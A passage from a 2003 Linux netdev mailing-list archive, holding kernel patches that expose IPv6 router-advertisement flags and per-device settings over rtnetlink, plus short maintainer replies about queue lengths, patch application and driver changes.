IFLA_INET6_CONF, /* sysctl parameters */ + IFLA_INET6_STATS, /* statistics */ + IFLA_INET6_MCAST, /* MC things. What of them? */ +}; + +#define IFLA_INET6_MAX IFLA_INET6_MCAST + /***************************************************************** * Traffic control messages. ****/ diff -ruN linux-2.6.0-test5.org/include/net/if_inet6.h linux-2.6.0-test5/include/net/if_inet6.h --- linux-2.6.0-test5.org/include/net/if_inet6.h 2003-09-08 12:50:33.000000000 -0700 +++ linux-2.6.0-test5/include/net/if_inet6.h 2003-09-12 12:33:14.000000000 -0700 @@ -16,7 +16,12 @@ #define _NET_IF_INET6_H #include +#include +/* inet6_dev.if_flags */ + +#define IF_RA_OTHERCONF 0x80 +#define IF_RA_MANAGED 0x40 #define IF_RA_RCVD 0x20 #define IF_RS_SENT 0x10 @@ -132,28 +137,6 @@ #define IFA_SITE IPV6_ADDR_SITELOCAL #define IFA_GLOBAL 0x0000U -struct ipv6_devconf -{ - int forwarding; - int hop_limit; - int mtu6; - int accept_ra; - int accept_redirects; - int autoconf; - int dad_transmits; - int rtr_solicits; - int rtr_solicit_interval; - int rtr_solicit_delay; -#ifdef CONFIG_IPV6_PRIVACY - int use_tempaddr; - int temp_valid_lft; - int temp_prefered_lft; - int regen_max_retry; - int max_desync_factor; -#endif - void *sysctl; -}; - struct ipv6_devstat { struct proc_dir_entry *proc_dir_entry; DEFINE_SNMP_STAT(struct icmpv6_mib, icmpv6); diff -ruN linux-2.6.0-test5.org/net/ipv6/addrconf.c linux-2.6.0-test5/net/ipv6/addrconf.c --- linux-2.6.0-test5.org/net/ipv6/addrconf.c 2003-09-08 12:50:29.000000000 -0700 +++ linux-2.6.0-test5/net/ipv6/addrconf.c 2003-09-12 15:01:10.000000000 -0700 @@ -2529,7 +2529,109 @@ netlink_broadcast(rtnl, skb, 0, RTMGRP_IPV6_IFADDR, GFP_ATOMIC); } +static void inline ipv6_store_devconf(struct ipv6_devconf *cnf, + __s32 *array, int bytes) +{ + memset(array, 0, bytes); + array[DEVCONF_FORWARDING] = cnf->forwarding; + array[DEVCONF_HOPLIMIT] = cnf->hop_limit; + array[DEVCONF_MTU6] = cnf->mtu6; + array[DEVCONF_ACCEPT_RA] = cnf->accept_ra; + array[DEVCONF_ACCEPT_REDIRECTS] = cnf->accept_redirects; + array[DEVCONF_AUTOCONF] = cnf->autoconf; + array[DEVCONF_DAD_TRANSMITS] = cnf->dad_transmits; + array[DEVCONF_RTR_SOLICITS] = cnf->rtr_solicits; + array[DEVCONF_RTR_SOLICIT_INTERVAL] = cnf->rtr_solicit_interval; + array[DEVCONF_RTR_SOLICIT_DELAY] = cnf->rtr_solicit_delay; +#ifdef CONFIG_IPV6_PRIVACY + array[DEVCONF_USE_TEMPADDR] = cnf->use_tempaddr; + array[DEVCONF_TEMP_VALID_LFT] = cnf->temp_valid_lft; + array[DEVCONF_TEMP_PREFERED_LFT] = cnf->temp_prefered_lft; + array[DEVCONF_REGEN_MAX_RETRY] = cnf->regen_max_retry; + array[DEVCONF_MAX_DESYNC_FACTOR] = cnf->max_desync_factor; +#endif +} + +static int inet6_fill_ifinfo(struct sk_buff *skb, struct net_device *dev, + struct inet6_dev *idev, + int type, u32 pid, u32 seq) +{ + __s32 *array = NULL; + struct ifinfomsg *r; + struct nlmsghdr *nlh; + unsigned char *b = skb->tail; + struct rtattr *subattr; + + nlh = NLMSG_PUT(skb, pid, seq, type, sizeof(*r)); + if (pid) nlh->nlmsg_flags |= NLM_F_MULTI; + r = NLMSG_DATA(nlh); + r->ifi_family = AF_INET6; + r->ifi_type = dev->type; + r->ifi_index = dev->ifindex; + r->ifi_flags = dev->flags; + r->ifi_change = 0; + if (!netif_running(dev) || !netif_carrier_ok(dev)) + r->ifi_flags &= ~IFF_RUNNING; + else + r->ifi_flags |= IFF_RUNNING; + + RTA_PUT(skb, IFLA_IFNAME, strlen(dev->name)+1, dev->name); + + subattr = (struct rtattr*)skb->tail; + + RTA_PUT(skb, IFLA_PROTINFO, 0, NULL); + + /* return the device flags */ + RTA_PUT(skb, IFLA_INET6_FLAGS, sizeof(__u32), &idev->if_flags); + + /* return the device sysctl params */ + if ((array = kmalloc(DEVCONF_MAX * sizeof(*array), GFP_ATOMIC)) == NULL) + goto rtattr_failure; + ipv6_store_devconf(&idev->cnf, array, DEVCONF_MAX * sizeof(*array)); + RTA_PUT(skb, IFLA_INET6_CONF, DEVCONF_MAX * sizeof(*array), array); + + /* XXX - Statistics/MC not implemented */ + subattr->rta_len = skb->tail - (u8*)subattr; + + nlh->nlmsg_len = skb->tail - b; + kfree(array); + return skb->len; + +nlmsg_failure: +rtattr_failure: + if (array) + kfree(array); + skb_trim(skb, b - skb->data); + return -1; +} + +static int inet6_dump_ifinfo(struct sk_buff *skb, struct netlink_callback *cb) +{ + int idx, err; + int s_idx = cb->args[0]; + struct net_device *dev; + struct inet6_dev *idev; + + read_lock(&dev_base_lock); + for (dev=dev_base, idx=0; dev; dev = dev->next, idx++) { + if (idx < s_idx) + continue; + if ((idev = in6_dev_get(dev)) == NULL) + continue; + err = inet6_fill_ifinfo(skb, dev, idev, RTM_NEWLINK, + NETLINK_CB(cb->skb).pid, cb->nlh->nlmsg_seq); + in6_dev_put(idev); + if (err <= 0) + break; + } + read_unlock(&dev_base_lock); + cb->args[0] = idx; + + return skb->len; +} + static struct rtnetlink_link inet6_rtnetlink_table[RTM_MAX - RTM_BASE + 1] = { + [RTM_GETLINK - RTM_BASE] = { .dumpit = inet6_dump_ifinfo, }, [RTM_NEWADDR - RTM_BASE] = { .doit = inet6_rtm_newaddr, }, [RTM_DELADDR - RTM_BASE] = { .doit = inet6_rtm_deladdr, }, [RTM_GETADDR - RTM_BASE] = { .dumpit = inet6_dump_ifaddr, }, diff -ruN linux-2.6.0-test5.org/net/ipv6/ndisc.c linux-2.6.0-test5/net/ipv6/ndisc.c --- linux-2.6.0-test5.org/net/ipv6/ndisc.c 2003-09-08 12:50:07.000000000 -0700 +++ linux-2.6.0-test5/net/ipv6/ndisc.c 2003-09-12 12:33:14.000000000 -0700 @@ -1044,6 +1044,17 @@ in6_dev->if_flags |= IF_RA_RCVD; } + /* + * Remember the managed/otherconf flags from most recently + * received RA message (RFC 2462) -- yoshfuji + */ + in6_dev->if_flags = (in6_dev->if_flags & ~(IF_RA_MANAGED | + IF_RA_OTHERCONF)) | + (ra_msg->icmph.icmp6_addrconf_managed ? + IF_RA_MANAGED : 0) | + (ra_msg->icmph.icmp6_addrconf_other ? + IF_RA_OTHERCONF : 0); + lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime); rt = rt6_get_dflt_router(&skb->nh.ipv6h->saddr, skb->dev); From krkumar@us.ibm.com Fri Sep 12 15:49:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 15:49:36 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CMnVYa007154 for ; Fri, 12 Sep 2003 15:49:32 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8CMmg0H754736; Fri, 12 Sep 2003 18:48:42 -0400 Received: from linux-udp12928098uds.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8CMmefe180290; Fri, 12 Sep 2003 18:48:41 -0400 Date: Fri, 12 Sep 2003 15:45:15 -0700 (PDT) From: Krishna Kumar X-X-Sender: krkumar@linux-udp12861866uds To: "David S. Miller" cc: kuznet@ms2.inr.ac.ru, , , KK Subject: O/M flags for 2.4.22 (was "Re: O/M flags against 2.6.0-test1") In-Reply-To: <20030911192507.0b3f2633.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5872 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 7828 Lines: 277 > I'm happy to apply a 2.4.x version as well. Patch against 2.4.22 follows. Thanks, - KK diff -ruN linux-2.4.22.org/include/linux/ipv6.h linux-2.4.22/include/linux/ipv6.h --- linux-2.4.22.org/include/linux/ipv6.h 2001-11-22 11:47:11.000000000 -0800 +++ linux-2.4.22/include/linux/ipv6.h 2003-09-12 15:11:09.000000000 -0700 @@ -100,6 +100,52 @@ struct in6_addr daddr; }; +/* + * This structure contains configuration options per IPv6 link. + */ +struct ipv6_devconf { + __s32 forwarding; + __s32 hop_limit; + __s32 mtu6; + __s32 accept_ra; + __s32 accept_redirects; + __s32 autoconf; + __s32 dad_transmits; + __s32 rtr_solicits; + __s32 rtr_solicit_interval; + __s32 rtr_solicit_delay; +#ifdef CONFIG_IPV6_PRIVACY + __s32 use_tempaddr; + __s32 temp_valid_lft; + __s32 temp_prefered_lft; + __s32 regen_max_retry; + __s32 max_desync_factor; +#endif + void *sysctl; +}; + +/* index values for the variables in ipv6_devconf */ +enum { + DEVCONF_FORWARDING = 0, + DEVCONF_HOPLIMIT, + DEVCONF_MTU6, + DEVCONF_ACCEPT_RA, + DEVCONF_ACCEPT_REDIRECTS, + DEVCONF_AUTOCONF, + DEVCONF_DAD_TRANSMITS, + DEVCONF_RTR_SOLICITS, + DEVCONF_RTR_SOLICIT_INTERVAL, + DEVCONF_RTR_SOLICIT_DELAY, +#ifdef CONFIG_IPV6_PRIVACY + DEVCONF_USE_TEMPADDR, + DEVCONF_TEMP_VALID_LFT, + DEVCONF_TEMP_PREFERED_LFT, + DEVCONF_REGEN_MAX_RETRY, + DEVCONF_MAX_DESYNC_FACTOR, +#endif + DEVCONF_MAX +}; + #ifdef __KERNEL__ /* diff -ruN linux-2.4.22.org/include/linux/rtnetlink.h linux-2.4.22/include/linux/rtnetlink.h --- linux-2.4.22.org/include/linux/rtnetlink.h 2003-08-25 04:44:44.000000000 -0700 +++ linux-2.4.22/include/linux/rtnetlink.h 2003-09-12 13:07:45.000000000 -0700 @@ -444,10 +444,12 @@ #define IFLA_MASTER IFLA_MASTER IFLA_WIRELESS, /* Wireless Extension event - see wireless.h */ #define IFLA_WIRELESS IFLA_WIRELESS + IFLA_PROTINFO, /* Protocol specific information for a link */ +#define IFLA_PROTINFO IFLA_PROTINFO }; -#define IFLA_MAX IFLA_WIRELESS +#define IFLA_MAX IFLA_PROTINFO #define IFLA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct ifinfomsg)))) #define IFLA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct ifinfomsg)) @@ -481,6 +483,18 @@ for IPIP tunnels, when route to endpoint is allowed to change) */ +/* Subtype attributes for IFLA_PROTINFO */ +enum +{ + IFLA_INET6_UNSPEC, + IFLA_INET6_FLAGS, /* link flags */ + IFLA_INET6_CONF, /* sysctl parameters */ + IFLA_INET6_STATS, /* statistics */ + IFLA_INET6_MCAST, /* MC things. What of them? */ +}; + +#define IFLA_INET6_MAX IFLA_INET6_MCAST + /***************************************************************** * Traffic control messages. ****/ diff -ruN linux-2.4.22.org/include/net/if_inet6.h linux-2.4.22/include/net/if_inet6.h --- linux-2.4.22.org/include/net/if_inet6.h 2003-08-25 04:44:44.000000000 -0700 +++ linux-2.4.22/include/net/if_inet6.h 2003-09-12 15:11:09.000000000 -0700 @@ -15,6 +15,10 @@ #ifndef _NET_IF_INET6_H #define _NET_IF_INET6_H +#include + +#define IF_RA_OTHERCONF 0x80 +#define IF_RA_MANAGED 0x40 #define IF_RA_RCVD 0x20 #define IF_RS_SENT 0x10 @@ -124,22 +128,6 @@ #define IFA_SITE IPV6_ADDR_SITELOCAL #define IFA_GLOBAL 0x0000U -struct ipv6_devconf -{ - int forwarding; - int hop_limit; - int mtu6; - int accept_ra; - int accept_redirects; - int autoconf; - int dad_transmits; - int rtr_solicits; - int rtr_solicit_interval; - int rtr_solicit_delay; - - void *sysctl; -}; - struct inet6_dev { struct net_device *dev; diff -ruN linux-2.4.22.org/net/ipv6/addrconf.c linux-2.4.22/net/ipv6/addrconf.c --- linux-2.4.22.org/net/ipv6/addrconf.c 2003-08-25 04:44:44.000000000 -0700 +++ linux-2.4.22/net/ipv6/addrconf.c 2003-09-12 15:01:00.000000000 -0700 @@ -1981,11 +1981,112 @@ netlink_broadcast(rtnl, skb, 0, RTMGRP_IPV6_IFADDR, GFP_ATOMIC); } +static void inline ipv6_store_devconf(struct ipv6_devconf *cnf, + __s32 *array, int bytes) +{ + memset(array, 0, bytes); + array[DEVCONF_FORWARDING] = cnf->forwarding; + array[DEVCONF_HOPLIMIT] = cnf->hop_limit; + array[DEVCONF_MTU6] = cnf->mtu6; + array[DEVCONF_ACCEPT_RA] = cnf->accept_ra; + array[DEVCONF_ACCEPT_REDIRECTS] = cnf->accept_redirects; + array[DEVCONF_AUTOCONF] = cnf->autoconf; + array[DEVCONF_DAD_TRANSMITS] = cnf->dad_transmits; + array[DEVCONF_RTR_SOLICITS] = cnf->rtr_solicits; + array[DEVCONF_RTR_SOLICIT_INTERVAL] = cnf->rtr_solicit_interval; + array[DEVCONF_RTR_SOLICIT_DELAY] = cnf->rtr_solicit_delay; +#ifdef CONFIG_IPV6_PRIVACY + array[DEVCONF_USE_TEMPADDR] = cnf->use_tempaddr; + array[DEVCONF_TEMP_VALID_LFT] = cnf->temp_valid_lft; + array[DEVCONF_TEMP_PREFERED_LFT] = cnf->temp_prefered_lft; + array[DEVCONF_REGEN_MAX_RETRY] = cnf->regen_max_retry; + array[DEVCONF_MAX_DESYNC_FACTOR] = cnf->max_desync_factor; +#endif +} + +static int inet6_fill_ifinfo(struct sk_buff *skb, struct net_device *dev, + struct inet6_dev *idev, + int type, u32 pid, u32 seq) +{ + __s32 *array = NULL; + struct ifinfomsg *r; + struct nlmsghdr *nlh; + unsigned char *b = skb->tail; + struct rtattr *subattr; + + nlh = NLMSG_PUT(skb, pid, seq, type, sizeof(*r)); + if (pid) nlh->nlmsg_flags |= NLM_F_MULTI; + r = NLMSG_DATA(nlh); + r->ifi_family = AF_INET6; + r->ifi_type = dev->type; + r->ifi_index = dev->ifindex; + r->ifi_flags = dev->flags; + r->ifi_change = 0; + if (!netif_running(dev) || !netif_carrier_ok(dev)) + r->ifi_flags &= ~IFF_RUNNING; + else + r->ifi_flags |= IFF_RUNNING; + + RTA_PUT(skb, IFLA_IFNAME, strlen(dev->name)+1, dev->name); + + subattr = (struct rtattr*)skb->tail; + + RTA_PUT(skb, IFLA_PROTINFO, 0, NULL); + + /* return the device flags */ + RTA_PUT(skb, IFLA_INET6_FLAGS, sizeof(__u32), &idev->if_flags); + + /* return the device sysctl params */ + if ((array = kmalloc(DEVCONF_MAX * sizeof(*array), GFP_ATOMIC)) == NULL) + goto rtattr_failure; + ipv6_store_devconf(&idev->cnf, array, DEVCONF_MAX * sizeof(*array)); + RTA_PUT(skb, IFLA_INET6_CONF, DEVCONF_MAX * sizeof(*array), array); + + /* XXX - Statistics/MC not implemented */ + subattr->rta_len = skb->tail - (u8*)subattr; + + nlh->nlmsg_len = skb->tail - b; + kfree(array); + return skb->len; + +nlmsg_failure: +rtattr_failure: + if (array) + kfree(array); + skb_trim(skb, b - skb->data); + return -1; +} + +static int inet6_dump_ifinfo(struct sk_buff *skb, struct netlink_callback *cb) +{ + int idx, err; + int s_idx = cb->args[0]; + struct net_device *dev; + struct inet6_dev *idev; + + read_lock(&dev_base_lock); + for (dev=dev_base, idx=0; dev; dev = dev->next, idx++) { + if (idx < s_idx) + continue; + if ((idev = in6_dev_get(dev)) == NULL) + continue; + err = inet6_fill_ifinfo(skb, dev, idev, RTM_NEWLINK, + NETLINK_CB(cb->skb).pid, cb->nlh->nlmsg_seq); + in6_dev_put(idev); + if (err <= 0) + break; + } + read_unlock(&dev_base_lock); + cb->args[0] = idx; + + return skb->len; +} + static struct rtnetlink_link inet6_rtnetlink_table[RTM_MAX-RTM_BASE+1] = { { NULL, NULL, }, { NULL, NULL, }, - { NULL, NULL, }, + { NULL, inet6_dump_ifinfo, }, { NULL, NULL, }, { inet6_rtm_newaddr, NULL, }, diff -ruN linux-2.4.22.org/net/ipv6/ndisc.c linux-2.4.22/net/ipv6/ndisc.c --- linux-2.4.22.org/net/ipv6/ndisc.c 2003-08-25 04:44:44.000000000 -0700 +++ linux-2.4.22/net/ipv6/ndisc.c 2003-09-12 13:07:45.000000000 -0700 @@ -944,6 +944,17 @@ in6_dev->if_flags |= IF_RA_RCVD; } + /* + * Remember the managed/otherconf flags from most recently + * received RA message (RFC 2462) -- yoshfuji + */ + in6_dev->if_flags = (in6_dev->if_flags & ~(IF_RA_MANAGED | + IF_RA_OTHERCONF)) | + (ra_msg->icmph.icmp6_addrconf_managed ? + IF_RA_MANAGED : 0) | + (ra_msg->icmph.icmp6_addrconf_other ? + IF_RA_OTHERCONF : 0); + lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime); rt = rt6_get_dflt_router(&skb->nh.ipv6h->saddr, skb->dev); From hadi@cyberus.ca Fri Sep 12 15:52:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 15:52:42 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CMqaYa007533 for ; Fri, 12 Sep 2003 15:52:37 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19xcps-0003gU-00; Thu, 11 Sep 2003 21:34:56 -0400 Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default From: jamal Reply-To: hadi@cyberus.ca To: Ben Greear Cc: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com In-Reply-To: <3F6103BB.5030706@candelatech.com> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> <3F6103BB.5030706@candelatech.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1063330463.1028.8.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Sep 2003 21:34:23 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5873 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 1554 Lines: 44 Scott, dont increase the tx descriptor ring size - that would truly wasting memory; 256 is pretty adequate. * increase instead the txquelen (as suggested by Davem); user space tools like ip or ifconfig could do it. The standard size has been around 100 for 100Mbps; i suppose it is fair to say that Gige can move data out at 10x that; so set it to 1000. Maybe you can do this from the driver based on what negotiated speed is detected? -------- [root@jzny root]# ip link ls eth0 4: eth0: mtu 1500 qdisc pfifo_fast qlen 100 link/ether 00:b0:d0:05:ae:81 brd ff:ff:ff:ff:ff:ff [root@jzny root]# ip link set[root@jzny root]# ip link ls eth0 4: eth0: mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:b0:d0:05:ae:81 brd ff:ff:ff:ff:ff:ff eth0 txqueuelen 1000 ------- TCP already reacts on packets dropped at the scheduler level, UDP would be too hard to enforce since the logic is typically on an app above udp. So just conrtol it via the socket queue size. cheers, jamal On Thu, 2003-09-11 at 19:22, Ben Greear wrote: > David S. Miller wrote: > > On Thu, 11 Sep 2003 15:15:19 -0700 > > Ben Greear wrote: > > > > > >>And the original poster shows how a similar problem slows down TCP > >>as well due to local dropped packets. > > > > > > So, again, dampen the per-socket send queue sizes. > > That's just a band-aid to cover up the flaw with the lack > of queue-pressure feedback to the higher stacks, as would be increasing the > TxDescriptors for that matter. From davem@pizda.ninka.net Fri Sep 12 17:16:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 17:16:57 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D0GmYa002339 for ; Fri, 12 Sep 2003 17:16:49 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA16928; Fri, 12 Sep 2003 17:05:39 -0700 Date: Fri, 12 Sep 2003 17:05:39 -0700 From: "David S. Miller" To: Arnaldo Carvalho de Melo Cc: laforge@netfilter.org, bdschuym@pandora.be, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: [PATCH] fix typo in net/ipv4/ip_input.c Message-Id: <20030912170539.2be84702.davem@redhat.com> In-Reply-To: <20030912162729.GD8713@conectiva.com.br> References: <20030912162729.GD8713@conectiva.com.br> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5874 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 502 Lines: 15 On Fri, 12 Sep 2003 13:27:30 -0300 Arnaldo Carvalho de Melo wrote: > Please apply. Applied. This happens because of the encoding Harald uses for his emails, when I save the email in the default way using "Ctrl-s" in Sylpheed, I get all of those weird space and newline characters. I have to save it in a different way to avoid this problem and I forgot to do that this time :( Usually the patch fails to apply when I make this mistake, unfortunately this time it did not. From davem@pizda.ninka.net Fri Sep 12 17:24:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 17:24:56 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D0OnYa002888 for ; Fri, 12 Sep 2003 17:24:49 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA16992; Fri, 12 Sep 2003 17:13:41 -0700 Date: Fri, 12 Sep 2003 17:13:41 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: levon@movementarian.org, netdev@oss.sgi.com Subject: Re: [PATCH] proc_net macro's for non-proc-fs case Message-Id: <20030912171341.60157cbc.davem@redhat.com> In-Reply-To: <20030912112120.23300a99.shemminger@osdl.org> References: <20030911154357.6b31891c.shemminger@osdl.org> <20030911235405.GA74116@compsoc.man.ac.uk> <20030912112120.23300a99.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5875 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 366 Lines: 9 On Fri, 12 Sep 2003 11:21:20 -0700 Stephen Hemminger wrote: > The following should work better. They have the desired properties that: > - return value makes sense for those that might check > - arguments fops and info don't have to be defined (ie can be #ifdef'd out) > - generate no warnings for null effect. Looks good, applied thanks. From davem@pizda.ninka.net Fri Sep 12 17:30:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 17:30:40 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D0UTYa003357 for ; Fri, 12 Sep 2003 17:30:30 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA17055; Fri, 12 Sep 2003 17:19:21 -0700 Date: Fri, 12 Sep 2003 17:19:21 -0700 From: "David S. Miller" To: Krishna Kumar Cc: kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com, krkumar@us.ibm.com Subject: Re: O/M flags for 2.4.22 (was "Re: O/M flags against 2.6.0-test1") Message-Id: <20030912171921.37cab171.davem@redhat.com> In-Reply-To: References: <20030911192507.0b3f2633.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5876 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 608 Lines: 17 On Fri, 12 Sep 2003 15:45:15 -0700 (PDT) Krishna Kumar wrote: > > I'm happy to apply a 2.4.x version as well. > > Patch against 2.4.22 follows. I applied the 2.6.x version, but this 2.4.x version does not apply cleanly, there are a bunch of rejects. That's not surprising since there's been, as there always is, several networking updates in 2.4.x since 2.4.22 already which cause conflicts with your patch. Please always, and I mean always, create patches against the most recent possible version of 2.4.x or 2.6.x. We'll never have to go back and forth like this if you do that. From davem@pizda.ninka.net Fri Sep 12 17:32:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 17:32:38 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D0WXYa003739 for ; Fri, 12 Sep 2003 17:32:33 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA17068; Fri, 12 Sep 2003 17:21:19 -0700 Date: Fri, 12 Sep 2003 17:21:19 -0700 From: "David S. Miller" To: "MORANGE,DAMIEN (HP-France,ex1)" Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com, samudrala@us.ibm.com, lksctp-developers@lists.sourceforge.net Subject: Re: [PATCH] lksctp 0.6.9 backport on 2.4.23-pre3 Message-Id: <20030912172119.57470c91.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5877 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 476 Lines: 11 On Fri, 12 Sep 2003 15:45:40 +0200 "MORANGE,DAMIEN (HP-France,ex1)" wrote: > Catching up on moving 2.4.20+ target, here is a set of patches to backport > lksctp on top of 2.4.23-pre3[*], ready (IMHO) for integration into 2.4.x. Care to provide this as a BK tree I can pull from? (please don't combine the patches into one big changeset, keep them seperate, comment them properly, and preserve the revision history, that's the whole point of this) From jes@wildopensource.com Fri Sep 12 20:22:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 20:22:40 -0700 (PDT) Received: from trained-monkey.org (trained-monkey.org [209.217.122.11]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D3MPYa012991 for ; Fri, 12 Sep 2003 20:22:26 -0700 Received: from trained-monkey.org (trained-monkey.org [127.0.0.1]) by trained-monkey.org (8.12.9/8.12.8) with ESMTP id h8D3MSZ3002497; Fri, 12 Sep 2003 23:22:28 -0400 Received: (from jes@localhost) by trained-monkey.org (8.12.9/8.12.9/Submit) id h8D3MS88002493; Fri, 12 Sep 2003 23:22:28 -0400 X-Authentication-Warning: trained-monkey.org: jes set sender to jes@wildopensource.com using -f To: Stephen Hemminger Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] Road Runner HIPPI driver (rrunner) References: <20030912144208.2886e2b9.shemminger@osdl.org> <3F62437F.9080202@pobox.com> <20030912152506.693fe997.shemminger@osdl.org> From: Jes Sorensen Date: 12 Sep 2003 23:22:27 -0400 In-Reply-To: <20030912152506.693fe997.shemminger@osdl.org> Message-ID: Lines: 8 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5878 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jes@wildopensource.com Precedence: bulk X-list: netdev >>>>> "Stephen" == Stephen Hemminger writes: Stephen> Okay, how about this.. --- linux-2.5/drivers/net/rrunner.c Looks pretty good to me! Cheers, Jes From mitch@sfgoth.com Fri Sep 12 20:37:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 20:37:48 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D3bdYa013653 for ; Fri, 12 Sep 2003 20:37:40 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8D3kBkV093768 for ; Fri, 12 Sep 2003 20:46:11 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8D3kBga093767 for netdev@oss.sgi.com; Fri, 12 Sep 2003 20:46:11 -0700 (PDT) (envelope-from mitch) Date: Fri, 12 Sep 2003 20:46:11 -0700 From: Mitchell Blank Jr To: netdev@oss.sgi.com Subject: 